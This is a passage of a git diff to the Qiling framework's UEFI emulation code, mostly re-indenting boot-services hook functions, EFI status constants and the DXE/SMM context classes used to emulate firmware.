return EFI_SUCCESS + return EFI_SUCCESS @dxeapi(params = { - "ImageHandle" : POINTER, # EFI_HANDLE - "ExitStatus" : ULONGLONG, # EFI_STATUS - "ExitDataSize" : ULONGLONG, # UINTN - "ExitData" : POINTER # PTR(CHAR16) + "ImageHandle" : POINTER, # EFI_HANDLE + "ExitStatus" : ULONGLONG, # EFI_STATUS + "ExitDataSize" : ULONGLONG, # UINTN + "ExitData" : POINTER # PTR(CHAR16) }) def hook_Exit(ql: Qiling, address: int, params): - ql.emu_stop() + ql.emu_stop() - return EFI_SUCCESS + return EFI_SUCCESS @dxeapi(params = { - "ImageHandle" : POINTER # EFI_HANDLE + "ImageHandle" : POINTER # EFI_HANDLE }) def hook_UnloadImage(ql: Qiling, address: int, params): - return EFI_SUCCESS + return EFI_SUCCESS @dxeapi(params = { - "ImageHandle" : POINTER, # EFI_HANDLE - "MapKey" : ULONGLONG # UINTN + "ImageHandle" : POINTER, # EFI_HANDLE + "MapKey" : ULONGLONG # UINTN }) def hook_ExitBootServices(ql: Qiling, address: int, params): - ql.emu_stop() + ql.emu_stop() - # TODO: cleanup BS tableas and data, and notify signal list gEfiEventExitBootServicesGuid - # @see: MdeModulePkg\Core\Dxe\DxeMain\DxeMain.c, CoreExitBootServices + # TODO: cleanup BS tableas and data, and notify signal list gEfiEventExitBootServicesGuid + # @see: MdeModulePkg\Core\Dxe\DxeMain\DxeMain.c, CoreExitBootServices - return EFI_SUCCESS + return EFI_SUCCESS @dxeapi(params = { - "Count": POINTER # PTR(UINT64) + "Count": POINTER # PTR(UINT64) }) def hook_GetNextMonotonicCount(ql: Qiling, address: int, params): - out = params["Count"] + out = params["Count"] - ql.os.monotonic_count += 1 - write_int64(ql, out, ql.os.monotonic_count) + ql.os.monotonic_count += 1 + write_int64(ql, out, ql.os.monotonic_count) - return EFI_SUCCESS + return EFI_SUCCESS @dxeapi(params = { - "Microseconds": ULONGLONG # UINTN + "Microseconds": ULONGLONG # UINTN }) def hook_Stall(ql: Qiling, address: int, params): - return EFI_SUCCESS + return EFI_SUCCESS @dxeapi(params = { - "Timeout" : ULONGLONG, # UINTN - "WatchdogCode" : ULONGLONG, # UINT64 - "DataSize" : ULONGLONG, # UINTN - "WatchdogData" : POINTER # PTR(CHAR16) + "Timeout" : ULONGLONG, # UINTN + "WatchdogCode" : ULONGLONG, # UINT64 + "DataSize" : ULONGLONG, # UINTN + "WatchdogData" : POINTER # PTR(CHAR16) }) def hook_SetWatchdogTimer(ql: Qiling, address: int, params): - return EFI_SUCCESS + return EFI_SUCCESS @dxeapi(params = { - "ControllerHandle" : POINTER, # EFI_HANDLE - "DriverImageHandle" : POINTER, #PTR(EFI_HANDLE) - "RemainingDevicePath" : POINTER, # PTR(EFI_DEVICE_PATH_PROTOCOL) - "Recursive" : BOOL # BOOLEAN + "ControllerHandle" : POINTER, # EFI_HANDLE + "DriverImageHandle" : POINTER, #PTR(EFI_HANDLE) + "RemainingDevicePath" : POINTER, # PTR(EFI_DEVICE_PATH_PROTOCOL) + "Recursive" : BOOL # BOOLEAN }) def hook_ConnectController(ql: Qiling, address: int, params): - return EFI_SUCCESS + return EFI_SUCCESS @dxeapi(params = { - "ControllerHandle" : POINTER, # EFI_HANDLE - "DriverImageHandle" : POINTER, # EFI_HANDLE - "ChildHandle" : POINTER # EFI_HANDLE + "ControllerHandle" : POINTER, # EFI_HANDLE + "DriverImageHandle" : POINTER, # EFI_HANDLE + "ChildHandle" : POINTER # EFI_HANDLE }) def hook_DisconnectController(ql: Qiling, address: int, params): - return EFI_SUCCESS + return EFI_SUCCESS @dxeapi(params = { - "Handle" : POINTER, # EFI_HANDLE - "Protocol" : GUID, # PTR(EFI_GUID) - "Interface" : POINTER, # PTR(PTR(VOID)) - "AgentHandle" : POINTER, # EFI_HANDLE - "ControllerHandle" : POINTER, # EFI_HANDLE - "Attributes" : UINT # UINT32 + "Handle" : POINTER, # EFI_HANDLE + "Protocol" : GUID, # PTR(EFI_GUID) + "Interface" : POINTER, # PTR(PTR(VOID)) + "AgentHandle" : POINTER, # EFI_HANDLE + "ControllerHandle" : POINTER, # EFI_HANDLE + "Attributes" : UINT # UINT32 }) def hook_OpenProtocol(ql: Qiling, address: int, params): - return common.LocateProtocol(ql.loader.dxe_context, params) + return common.LocateProtocol(ql.loader.dxe_context, params) @dxeapi(params = { - "Handle" : POINTER, # EFI_HANDLE - "Protocol" : GUID, # PTR(EFI_GUID) - "AgentHandle" : POINTER, # EFI_HANDLE - "ControllerHandle" : POINTER # EFI_HANDLE + "Handle" : POINTER, # EFI_HANDLE + "Protocol" : GUID, # PTR(EFI_GUID) + "AgentHandle" : POINTER, # EFI_HANDLE + "ControllerHandle" : POINTER # EFI_HANDLE }) def hook_CloseProtocol(ql: Qiling, address: int, params): - return EFI_SUCCESS + return EFI_SUCCESS @dxeapi(params = { - "Handle" : POINTER, # EFI_HANDLE - "Protocol" : GUID, # PTR(EFI_GUID) - "EntryBuffer" : POINTER, # PTR(PTR(EFI_OPEN_PROTOCOL_INFORMATION_ENTRY)) - "EntryCount" : POINTER # PTR(UINTN) + "Handle" : POINTER, # EFI_HANDLE + "Protocol" : GUID, # PTR(EFI_GUID) + "EntryBuffer" : POINTER, # PTR(PTR(EFI_OPEN_PROTOCOL_INFORMATION_ENTRY)) + "EntryCount" : POINTER # PTR(UINTN) }) def hook_OpenProtocolInformation(ql: Qiling, address: int, params): - return EFI_NOT_FOUND + return EFI_NOT_FOUND @dxeapi(params = { - "Handle" : POINTER, # EFI_HANDLE - "ProtocolBuffer" : POINTER, # PTR(PTR(PTR(EFI_GUID))) - "ProtocolBufferCount" : POINTER # PTR(UINTN) + "Handle" : POINTER, # EFI_HANDLE + "ProtocolBuffer" : POINTER, # PTR(PTR(PTR(EFI_GUID))) + "ProtocolBufferCount" : POINTER # PTR(UINTN) }) def hook_ProtocolsPerHandle(ql: Qiling, address: int, params): - return EFI_SUCCESS + return EFI_SUCCESS @dxeapi(params = { - "SearchType": INT, # EFI_LOCATE_SEARCH_TYPE - "Protocol" : GUID, # PTR(EFI_GUID) - "SearchKey" : POINTER, # PTR(VOID) - "NoHandles" : POINTER, # PTR(UINTN) - "Buffer" : POINTER # PTR(PTR(EFI_HANDLE)) + "SearchType": INT, # EFI_LOCATE_SEARCH_TYPE + "Protocol" : GUID, # PTR(EFI_GUID) + "SearchKey" : POINTER, # PTR(VOID) + "NoHandles" : POINTER, # PTR(UINTN) + "Buffer" : POINTER # PTR(PTR(EFI_HANDLE)) }) def hook_LocateHandleBuffer(ql: Qiling, address: int, params): - buffer_size, handles = common.LocateHandles(ql.loader.dxe_context, params) - write_int64(ql, params["NoHandles"], len(handles)) + buffer_size, handles = common.LocateHandles(ql.loader.dxe_context, params) + write_int64(ql, params["NoHandles"], len(handles)) - if len(handles) == 0: - return EFI_NOT_FOUND + if len(handles) == 0: + return EFI_NOT_FOUND - address = ql.loader.dxe_context.heap.alloc(buffer_size) - write_int64(ql, params["Buffer"], address) + address = ql.loader.dxe_context.heap.alloc(buffer_size) + write_int64(ql, params["Buffer"], address) - if address == 0: - return EFI_OUT_OF_RESOURCES + if address == 0: + return EFI_OUT_OF_RESOURCES - for handle in handles: - write_int64(ql, address, handle) - address += ql.arch.pointersize + for handle in handles: + write_int64(ql, address, handle) + address += ql.arch.pointersize - return EFI_SUCCESS + return EFI_SUCCESS @dxeapi(params = { - "Protocol" : GUID, # PTR(EFI_GUID) - "Registration" : POINTER, # PTR(VOID) - "Interface" : POINTER # PTR(PTR(VOID)) + "Protocol" : GUID, # PTR(EFI_GUID) + "Registration" : POINTER, # PTR(VOID) + "Interface" : POINTER # PTR(PTR(VOID)) }) def hook_LocateProtocol(ql: Qiling, address: int, params): - return common.LocateProtocol(ql.loader.dxe_context, params) + return common.LocateProtocol(ql.loader.dxe_context, params) @dxeapi(params = { - "Handle" : POINTER # PTR(EFI_HANDLE) - # ... + "Handle" : POINTER # PTR(EFI_HANDLE) + # ... }) def hook_InstallMultipleProtocolInterfaces(ql: Qiling, address: int, params): - handle = read_int64(ql, params["Handle"]) + handle = read_int64(ql, params["Handle"]) - if handle == 0: - handle = ql.loader.dxe_context.heap.alloc(ql.arch.pointersize) + if handle == 0: + handle = ql.loader.dxe_context.heap.alloc(ql.arch.pointersize) - dic = ql.loader.dxe_context.protocols.get(handle, {}) + dic = ql.loader.dxe_context.protocols.get(handle, {}) - # process elipsiss arguments - index = 1 - while ql.os.fcall.cc.getRawParam(index) != 0: - GUID_ptr = ql.os.fcall.cc.getRawParam(index) - protocol_ptr = ql.os.fcall.cc.getRawParam(index + 1) + # process elipsiss arguments + index = 1 + while ql.os.fcall.cc.getRawParam(index) != 0: + GUID_ptr = ql.os.fcall.cc.getRawParam(index) + protocol_ptr = ql.os.fcall.cc.getRawParam(index + 1) - GUID = str(ql.os.utils.read_guid(GUID_ptr)) - dic[GUID] = protocol_ptr + GUID = str(ql.os.utils.read_guid(GUID_ptr)) + dic[GUID] = protocol_ptr - ql.log.info(f'Installing protocol interface {guids_db.get(GUID.upper(), GUID)} to {protocol_ptr:#x}') - index += 2 + ql.log.info(f'Installing protocol interface {guids_db.get(GUID.upper(), GUID)} to {protocol_ptr:#x}') + index += 2 - ql.loader.dxe_context.protocols[handle] = dic - execute_protocol_notifications(ql, True) - write_int64(ql, params["Handle"], handle) + ql.loader.dxe_context.protocols[handle] = dic + execute_protocol_notifications(ql, True) + write_int64(ql, params["Handle"], handle) - return EFI_SUCCESS + return EFI_SUCCESS @dxeapi(params = { - "Handle" : POINTER # EFI_HANDLE - # ... + "Handle" : POINTER # EFI_HANDLE + # ... }) def hook_UninstallMultipleProtocolInterfaces(ql: Qiling, address: int, params): - handle = params["Handle"] + handle = params["Handle"] - if handle not in ql.loader.dxe_context.protocols: - return EFI_NOT_FOUND + if handle not in ql.loader.dxe_context.protocols: + return EFI_NOT_FOUND - dic = ql.loader.dxe_context.protocols[handle] + dic = ql.loader.dxe_context.protocols[handle] - # process elipsiss arguments - index = 1 - while ql.os.fcall.cc.getRawParam(index) != 0: - GUID_ptr = ql.os.fcall.cc.getRawParam(index) - protocol_ptr = ql.os.fcall.cc.getRawParam(index + 1) + # process elipsiss arguments + index = 1 + while ql.os.fcall.cc.getRawParam(index) != 0: + GUID_ptr = ql.os.fcall.cc.getRawParam(index) + protocol_ptr = ql.os.fcall.cc.getRawParam(index + 1) - GUID = str(ql.os.utils.read_guid(GUID_ptr)) + GUID = str(ql.os.utils.read_guid(GUID_ptr)) - if GUID not in dic: - return EFI_INVALID_PARAMETER + if GUID not in dic: + return EFI_INVALID_PARAMETER - del dic[GUID] + del dic[GUID] - ql.log.info(f'Uninstalling protocol interface {guids_db.get(GUID.upper(), GUID)} from {protocol_ptr:#x}') - index += 2 + ql.log.info(f'Uninstalling protocol interface {guids_db.get(GUID.upper(), GUID)} from {protocol_ptr:#x}') + index += 2 - return EFI_SUCCESS + return EFI_SUCCESS @dxeapi(params = { - "Data" : POINTER, # PTR(VOID) - "DataSize" : ULONGLONG, # UINTN - "Crc32" : POINTER # PTR(UINT32) + "Data" : POINTER, # PTR(VOID) + "DataSize" : ULONGLONG, # UINTN + "Crc32" : POINTER # PTR(UINT32) }) def hook_CalculateCrc32(ql: Qiling, address: int, params): - data = bytes(ql.mem.read(params['Data'], params['DataSize'])) - write_int32(ql, params['Crc32'], crc32(data)) + data = bytes(ql.mem.read(params['Data'], params['DataSize'])) + write_int32(ql, params['Crc32'], crc32(data)) - return EFI_SUCCESS + return EFI_SUCCESS @dxeapi(params = { - "Destination" : POINTER, # PTR(VOID) - "Source" : POINTER, # PTR(VOID) - "Length" : SIZE_T # UINTN + "Destination" : POINTER, # PTR(VOID) + "Source" : POINTER, # PTR(VOID) + "Length" : SIZE_T # UINTN }) def hook_CopyMem(ql: Qiling, address: int, params): - dst = params["Destination"] - src = params["Source"] - length = params["Length"] + dst = params["Destination"] + src = params["Source"] + length = params["Length"] - ql.mem.write(dst, bytes(ql.mem.read(src, length))) + ql.mem.write(dst, bytes(ql.mem.read(src, length))) @dxeapi(params = { - "Buffer": POINTER, # PTR(VOID) - "Size" : SIZE_T, # UINTN - "Value" : BYTE # UINT8 + "Buffer": POINTER, # PTR(VOID) + "Size" : SIZE_T, # UINTN + "Value" : BYTE # UINT8 }) def hook_SetMem(ql: Qiling, address: int, params): - buffer = params["Buffer"] - value: int = params["Value"] & 0xff - size = params["Size"] + buffer = params["Buffer"] + value: int = params["Value"] & 0xff + size = params["Size"] - ql.mem.write(buffer, bytes([value]) * size) + ql.mem.write(buffer, bytes([value]) * size) @dxeapi(params = { - "Type" : UINT, # UINT32 - "NotifyTpl" : ULONGLONG,# EFI_TPL - "NotifyFunction": POINTER, # EFI_EVENT_NOTIFY - "NotifyContext" : POINTER, # PTR(VOID) - "EventGroup" : GUID, # PTR(EFI_GUID) - "Event" : POINTER # PTR(EFI_EVENT) + "Type" : UINT, # UINT32 + "NotifyTpl" : ULONGLONG,# EFI_TPL + "NotifyFunction": POINTER, # EFI_EVENT_NOTIFY + "NotifyContext" : POINTER, # PTR(VOID) + "EventGroup" : GUID, # PTR(EFI_GUID) + "Event" : POINTER # PTR(EFI_EVENT) }) def hook_CreateEventEx(ql: Qiling, address: int, params): - return CreateEvent(ql, params) + return CreateEvent(ql, params) def CreateEvent(ql: Qiling, params): - event_id = len(ql.loader.events) - event_dic = { - "NotifyFunction": params["NotifyFunction"], - "CallbackArgs" : [event_id, params["NotifyContext"]], - "Guid" : "", - "Set" : False - } + event_id = len(ql.loader.events) + event_dic = { + "NotifyFunction": params["NotifyFunction"], + "CallbackArgs" : [event_id, params["NotifyContext"]], + "Guid" : "", + "Set" : False + } - if "EventGroup" in params: - event_dic["EventGroup"] = params["EventGroup"] + if "EventGroup" in params: + event_dic["EventGroup"] = params["EventGroup"] - ql.loader.events[event_id] = event_dic - write_int64(ql, params["Event"], event_id) + ql.loader.events[event_id] = event_dic + write_int64(ql, params["Event"], event_id) - return EFI_SUCCESS + return EFI_SUCCESS def initialize(ql: Qiling, gBS: int): - descriptor = { - 'struct' : EFI_BOOT_SERVICES, - 'fields' : ( - ('Hdr', None), - ('RaiseTPL', hook_RaiseTPL), - ('RestoreTPL', hook_RestoreTPL), - ('AllocatePages', hook_AllocatePages), - ('FreePages', hook_FreePages), - ('GetMemoryMap', hook_GetMemoryMap), - ('AllocatePool', hook_AllocatePool), - ('FreePool', hook_FreePool), - ('CreateEvent', hook_CreateEvent), - ('SetTimer', hook_SetTimer), - ('WaitForEvent', hook_WaitForEvent), - ('SignalEvent', hook_SignalEvent), - ('CloseEvent', hook_CloseEvent), - ('CheckEvent', hook_CheckEvent), - ('InstallProtocolInterface', hook_InstallProtocolInterface), - ('ReinstallProtocolInterface', hook_ReinstallProtocolInterface), - ('UninstallProtocolInterface', hook_UninstallProtocolInterface), - ('HandleProtocol', hook_HandleProtocol), - ('Reserved', None), - ('RegisterProtocolNotify', hook_RegisterProtocolNotify), - ('LocateHandle', hook_LocateHandle), - ('LocateDevicePath', hook_LocateDevicePath), - ('InstallConfigurationTable', hook_InstallConfigurationTable), - ('LoadImage', hook_LoadImage), - ('StartImage', hook_StartImage), - ('Exit', hook_Exit), - ('UnloadImage', hook_UnloadImage), - ('ExitBootServices', hook_ExitBootServices), - ('GetNextMonotonicCount', hook_GetNextMonotonicCount), - ('Stall', hook_Stall), - ('SetWatchdogTimer', hook_SetWatchdogTimer), - ('ConnectController', hook_ConnectController), - ('DisconnectController', hook_DisconnectController), - ('OpenProtocol', hook_OpenProtocol), - ('CloseProtocol', hook_CloseProtocol), - ('OpenProtocolInformation', hook_OpenProtocolInformation), - ('ProtocolsPerHandle', hook_ProtocolsPerHandle), - ('LocateHandleBuffer', hook_LocateHandleBuffer), - ('LocateProtocol', hook_LocateProtocol), - ('InstallMultipleProtocolInterfaces', hook_InstallMultipleProtocolInterfaces), - ('UninstallMultipleProtocolInterfaces', hook_UninstallMultipleProtocolInterfaces), - ('CalculateCrc32', hook_CalculateCrc32), - ('CopyMem', hook_CopyMem), - ('SetMem', hook_SetMem), - ('CreateEventEx', hook_CreateEventEx) - ) - } - - ql.os.monotonic_count = 0 - - instance = init_struct(ql, gBS, descriptor) - instance.saveTo(ql, gBS) + descriptor = { + 'struct' : EFI_BOOT_SERVICES, + 'fields' : ( + ('Hdr', None), + ('RaiseTPL', hook_RaiseTPL), + ('RestoreTPL', hook_RestoreTPL), + ('AllocatePages', hook_AllocatePages), + ('FreePages', hook_FreePages), + ('GetMemoryMap', hook_GetMemoryMap), + ('AllocatePool', hook_AllocatePool), + ('FreePool', hook_FreePool), + ('CreateEvent', hook_CreateEvent), + ('SetTimer', hook_SetTimer), + ('WaitForEvent', hook_WaitForEvent), + ('SignalEvent', hook_SignalEvent), + ('CloseEvent', hook_CloseEvent), + ('CheckEvent', hook_CheckEvent), + ('InstallProtocolInterface', hook_InstallProtocolInterface), + ('ReinstallProtocolInterface', hook_ReinstallProtocolInterface), + ('UninstallProtocolInterface', hook_UninstallProtocolInterface), + ('HandleProtocol', hook_HandleProtocol), + ('Reserved', None), + ('RegisterProtocolNotify', hook_RegisterProtocolNotify), + ('LocateHandle', hook_LocateHandle), + ('LocateDevicePath', hook_LocateDevicePath), + ('InstallConfigurationTable', hook_InstallConfigurationTable), + ('LoadImage', hook_LoadImage), + ('StartImage', hook_StartImage), + ('Exit', hook_Exit), + ('UnloadImage', hook_UnloadImage), + ('ExitBootServices', hook_ExitBootServices), + ('GetNextMonotonicCount', hook_GetNextMonotonicCount), + ('Stall', hook_Stall), + ('SetWatchdogTimer', hook_SetWatchdogTimer), + ('ConnectController', hook_ConnectController), + ('DisconnectController', hook_DisconnectController), + ('OpenProtocol', hook_OpenProtocol), + ('CloseProtocol', hook_CloseProtocol), + ('OpenProtocolInformation', hook_OpenProtocolInformation), + ('ProtocolsPerHandle', hook_ProtocolsPerHandle), + ('LocateHandleBuffer', hook_LocateHandleBuffer), + ('LocateProtocol', hook_LocateProtocol), + ('InstallMultipleProtocolInterfaces', hook_InstallMultipleProtocolInterfaces), + ('UninstallMultipleProtocolInterfaces', hook_UninstallMultipleProtocolInterfaces), + ('CalculateCrc32', hook_CalculateCrc32), + ('CopyMem', hook_CopyMem), + ('SetMem', hook_SetMem), + ('CreateEventEx', hook_CreateEventEx) + ) + } + + ql.os.monotonic_count = 0 + + instance = init_struct(ql, gBS, descriptor) + instance.saveTo(ql, gBS) __all__ = [ - 'initialize' + 'initialize' ] \ No newline at end of file diff --git a/qiling/os/uefi/const.py b/qiling/os/uefi/const.py index d96972489..b4d0704a3 100644 --- a/qiling/os/uefi/const.py +++ b/qiling/os/uefi/const.py @@ -6,41 +6,41 @@ EFI_MAX_BIT = (1 << 63) EFI_SUCCESS = 0 -EFI_LOAD_ERROR = EFI_MAX_BIT | 1 -EFI_INVALID_PARAMETER = EFI_MAX_BIT | 2 -EFI_UNSUPPORTED = EFI_MAX_BIT | 3 -EFI_BAD_BUFFER_SIZE = EFI_MAX_BIT | 4 -EFI_BUFFER_TOO_SMALL = EFI_MAX_BIT | 5 -EFI_NOT_READY = EFI_MAX_BIT | 6 -EFI_DEVICE_ERROR = EFI_MAX_BIT | 7 -EFI_WRITE_PROTECTED = EFI_MAX_BIT | 8 -EFI_OUT_OF_RESOURCES = EFI_MAX_BIT | 9 -EFI_VOLUME_CORRUPTED = EFI_MAX_BIT | 10 -EFI_VOLUME_FULL = EFI_MAX_BIT | 11 -EFI_NO_MEDIA = EFI_MAX_BIT | 12 -EFI_MEDIA_CHANGED = EFI_MAX_BIT | 13 -EFI_NOT_FOUND = EFI_MAX_BIT | 14 -EFI_ACCESS_DENIED = EFI_MAX_BIT | 15 -EFI_NO_RESPONSE = EFI_MAX_BIT | 16 -EFI_NO_MAPPING = EFI_MAX_BIT | 17 -EFI_TIMEOUT = EFI_MAX_BIT | 18 -EFI_NOT_STARTED = EFI_MAX_BIT | 19 -EFI_ALREADY_STARTED = EFI_MAX_BIT | 20 -EFI_ABORTED = EFI_MAX_BIT | 21 -EFI_ICMP_ERROR = EFI_MAX_BIT | 22 -EFI_TFTP_ERROR = EFI_MAX_BIT | 23 -EFI_PROTOCOL_ERROR = EFI_MAX_BIT | 24 -EFI_INCOMPATIBLE_VERSION = EFI_MAX_BIT | 25 -EFI_SECURITY_VIOLATION = EFI_MAX_BIT | 26 -EFI_CRC_ERROR = EFI_MAX_BIT | 27 -EFI_END_OF_MEDIA = EFI_MAX_BIT | 28 -EFI_END_OF_FILE = EFI_MAX_BIT | 31 -EFI_INVALID_LANGUAGE = EFI_MAX_BIT | 32 +EFI_LOAD_ERROR = EFI_MAX_BIT | 1 +EFI_INVALID_PARAMETER = EFI_MAX_BIT | 2 +EFI_UNSUPPORTED = EFI_MAX_BIT | 3 +EFI_BAD_BUFFER_SIZE = EFI_MAX_BIT | 4 +EFI_BUFFER_TOO_SMALL = EFI_MAX_BIT | 5 +EFI_NOT_READY = EFI_MAX_BIT | 6 +EFI_DEVICE_ERROR = EFI_MAX_BIT | 7 +EFI_WRITE_PROTECTED = EFI_MAX_BIT | 8 +EFI_OUT_OF_RESOURCES = EFI_MAX_BIT | 9 +EFI_VOLUME_CORRUPTED = EFI_MAX_BIT | 10 +EFI_VOLUME_FULL = EFI_MAX_BIT | 11 +EFI_NO_MEDIA = EFI_MAX_BIT | 12 +EFI_MEDIA_CHANGED = EFI_MAX_BIT | 13 +EFI_NOT_FOUND = EFI_MAX_BIT | 14 +EFI_ACCESS_DENIED = EFI_MAX_BIT | 15 +EFI_NO_RESPONSE = EFI_MAX_BIT | 16 +EFI_NO_MAPPING = EFI_MAX_BIT | 17 +EFI_TIMEOUT = EFI_MAX_BIT | 18 +EFI_NOT_STARTED = EFI_MAX_BIT | 19 +EFI_ALREADY_STARTED = EFI_MAX_BIT | 20 +EFI_ABORTED = EFI_MAX_BIT | 21 +EFI_ICMP_ERROR = EFI_MAX_BIT | 22 +EFI_TFTP_ERROR = EFI_MAX_BIT | 23 +EFI_PROTOCOL_ERROR = EFI_MAX_BIT | 24 +EFI_INCOMPATIBLE_VERSION = EFI_MAX_BIT | 25 +EFI_SECURITY_VIOLATION = EFI_MAX_BIT | 26 +EFI_CRC_ERROR = EFI_MAX_BIT | 27 +EFI_END_OF_MEDIA = EFI_MAX_BIT | 28 +EFI_END_OF_FILE = EFI_MAX_BIT | 31 +EFI_INVALID_LANGUAGE = EFI_MAX_BIT | 32 -EFI_WARN_UNKNOWN_GLYPH = EFI_MAX_BIT | 1 -EFI_WARN_DELETE_FAILURE = EFI_MAX_BIT | 2 -EFI_WARN_WRITE_FAILURE = EFI_MAX_BIT | 3 -EFI_WARN_BUFFER_TOO_SMALL = EFI_MAX_BIT | 4 +EFI_WARN_UNKNOWN_GLYPH = EFI_MAX_BIT | 1 +EFI_WARN_DELETE_FAILURE = EFI_MAX_BIT | 2 +EFI_WARN_WRITE_FAILURE = EFI_MAX_BIT | 3 +EFI_WARN_BUFFER_TOO_SMALL = EFI_MAX_BIT | 4 # @see: MdePkg\Include\Base.h EFI_ERROR = lambda status: (status & EFI_MAX_BIT) != 0 diff --git a/qiling/os/uefi/context.py b/qiling/os/uefi/context.py index 4975d1370..830995080 100644 --- a/qiling/os/uefi/context.py +++ b/qiling/os/uefi/context.py @@ -9,186 +9,186 @@ from qiling.os.uefi import utils class UefiContext(ABC): - def __init__(self, ql: Qiling): - self.ql = ql - self.heap: QlMemoryHeap - self.top_of_stack: int - self.protocols = {} - self.loaded_image_protocol_modules: MutableSequence[int] = [] - self.next_image_base: int + def __init__(self, ql: Qiling): + self.ql = ql + self.heap: QlMemoryHeap + self.top_of_stack: int + self.protocols = {} + self.loaded_image_protocol_modules: MutableSequence[int] = [] + self.next_image_base: int - # These members must be initialized before attempting to install a configuration table. - self.conf_table_data_ptr = 0 - self.conf_table_data_next_ptr = 0 + # These members must be initialized before attempting to install a configuration table. + self.conf_table_data_ptr = 0 + self.conf_table_data_next_ptr = 0 - self.conftable: UefiConfTable - self.end_of_execution_ptr: int + self.conftable: UefiConfTable + self.end_of_execution_ptr: int - # TODO: implement save state - def save(self) -> Mapping[str, Any]: - return {} + # TODO: implement save state + def save(self) -> Mapping[str, Any]: + return {} - # TODO: implement restore state - def restore(self, saved_state: Mapping[str, Any]): - pass + # TODO: implement restore state + def restore(self, saved_state: Mapping[str, Any]): + pass - def init_heap(self, base: int, size: int): - self.heap = QlMemoryHeap(self.ql, base, base + size) + def init_heap(self, base: int, size: int): + self.heap = QlMemoryHeap(self.ql, base, base + size) - def init_stack(self, base: int, size: int): - self.ql.mem.map(base, size, info='[stack]') - self.top_of_stack = (base + size - 1) & ~(CPU_STACK_ALIGNMENT - 1) + def init_stack(self, base: int, size: int): + self.ql.mem.map(base, size, info='[stack]') + self.top_of_stack = (base + size - 1) & ~(CPU_STACK_ALIGNMENT - 1) - def install_protocol(self, proto_desc: Mapping, handle: int, address: int = None, from_hook: bool = False): - guid = proto_desc['guid'] + def install_protocol(self, proto_desc: Mapping, handle: int, address: int = None, from_hook: bool = False): + guid = proto_desc['guid'] - if handle not in self.protocols: - self.protocols[handle] = {} + if handle not in self.protocols: + self.protocols[handle] = {} - if guid in self.protocols[handle]: - self.ql.log.warning(f'a protocol with guid {guid} is already installed') + if guid in self.protocols[handle]: + self.ql.log.warning(f'a protocol with guid {guid} is already installed') - if address is None: - struct_class = proto_desc['struct'] - address = self.heap.alloc(struct_class.sizeof()) + if address is None: + struct_class = proto_desc['struct'] + address = self.heap.alloc(struct_class.sizeof()) - instance = utils.init_struct(self.ql, address, proto_desc) - instance.saveTo(self.ql, address) + instance = utils.init_struct(self.ql, address, proto_desc) + instance.saveTo(self.ql, address) - self.protocols[handle][guid] = address - return self.notify_protocol(handle, guid, address, from_hook) + self.protocols[handle][guid] = address + return self.notify_protocol(handle, guid, address, from_hook) - def notify_protocol(self, handle: int, protocol: str, interface: int, from_hook: bool): - for (event_id, event_dic) in self.ql.loader.events.items(): - if event_dic['Guid'] == protocol: - if event_dic['CallbackArgs'] == None: - # To support smm notification, we use None for CallbackArgs on SmmRegisterProtocolNotify - # and updare it here. - guid = utils.str_to_guid(protocol) - guid_ptr = self.heap.alloc(guid.sizeof()) - guid.saveTo(self.ql, guid_ptr) + def notify_protocol(self, handle: int, protocol: str, interface: int, from_hook: bool): + for (event_id, event_dic) in self.ql.loader.events.items(): + if event_dic['Guid'] == protocol: + if event_dic['CallbackArgs'] == None: + # To support smm notification, we use None for CallbackArgs on SmmRegisterProtocolNotify + # and updare it here. + guid = utils.str_to_guid(protocol) + guid_ptr = self.heap.alloc(guid.sizeof()) + guid.saveTo(self.ql, guid_ptr) - event_dic['CallbackArgs'] = [guid_ptr, interface, handle] + event_dic['CallbackArgs'] = [guid_ptr, interface, handle] - # The event was previously registered by 'RegisterProtocolNotify'. - utils.signal_event(self.ql, event_id) + # The event was previously registered by 'RegisterProtocolNotify'. + utils.signal_event(self.ql, event_id) - return utils.execute_protocol_notifications(self.ql, from_hook) + return utils.execute_protocol_notifications(self.ql, from_hook) class DxeContext(UefiContext): - def __init__(self, ql: Qiling): - super().__init__(ql) + def __init__(self, ql: Qiling): + super().__init__(ql) - self.conftable = DxeConfTable(ql) + self.conftable = DxeConfTable(ql) class SmmContext(UefiContext): - def __init__(self, ql: Qiling): - super().__init__(ql) + def __init__(self, ql: Qiling): + super().__init__(ql) - self.conftable = SmmConfTable(ql) + self.conftable = SmmConfTable(ql) - self.smram_base: int - self.smram_size: int + self.smram_base: int + self.smram_size: int - # assume tseg is inaccessible to non-smm - self.tseg_open = False + # assume tseg is inaccessible to non-smm + self.tseg_open = False - # assume tseg is locked - self.tseg_locked = True + # assume tseg is locked + self.tseg_locked = True - # registered sw smi handlers - self.swsmi_handlers: Mapping[int, Tuple[int, Mapping]] = {} + # registered sw smi handlers + self.swsmi_handlers: Mapping[int, Tuple[int, Mapping]] = {} class UefiConfTable: - _struct_systbl: STRUCT - _fname_arrptr: str - _fname_nitems: str + _struct_systbl: STRUCT + _fname_arrptr: str + _fname_nitems: str - def __init__(self, ql: Qiling): - self.ql = ql + def __init__(self, ql: Qiling): + self.ql = ql - self.__arrptr_off = self._struct_systbl.offsetof(self._fname_arrptr) - self.__nitems_off = self._struct_systbl.offsetof(self._fname_nitems) + self.__arrptr_off = self._struct_systbl.offsetof(self._fname_arrptr) + self.__nitems_off = self._struct_systbl.offsetof(self._fname_nitems) - @property - @abstractmethod - def system_table(self) -> int: - pass + @property + @abstractmethod + def system_table(self) -> int: + pass - @property - def baseptr(self) -> int: - addr = self.system_table + self.__arrptr_off + @property + def baseptr(self) -> int: + addr = self.system_table + self.__arrptr_off - return utils.read_int64(self.ql, addr) + return utils.read_int64(self.ql, addr) - @property - def nitems(self) -> int: - addr = self.system_table + self.__nitems_off + @property + def nitems(self) -> int: + addr = self.system_table + self.__nitems_off - return utils.read_int64(self.ql, addr) # UINTN + return utils.read_int64(self.ql, addr) # UINTN - @nitems.setter - def nitems(self, value: int): - addr = self.system_table + self.__nitems_off + @nitems.setter + def nitems(self, value: int): + addr = self.system_table + self.__nitems_off - utils.write_int64(self.ql, addr, value) + utils.write_int64(self.ql, addr, value) - def install(self, guid: str, table: int): - ptr = self.find(guid) - append = ptr is None + def install(self, guid: str, table: int): + ptr = self.find(guid) + append = ptr is None - if append: - ptr = self.baseptr + self.nitems * EFI_CONFIGURATION_TABLE.sizeof() - append = True + if append: + ptr = self.baseptr + self.nitems * EFI_CONFIGURATION_TABLE.sizeof() + append = True - instance = EFI_CONFIGURATION_TABLE() - instance.VendorGuid = utils.str_to_guid(guid) - instance.VendorTable = table - instance.saveTo(self.ql, ptr) + instance = 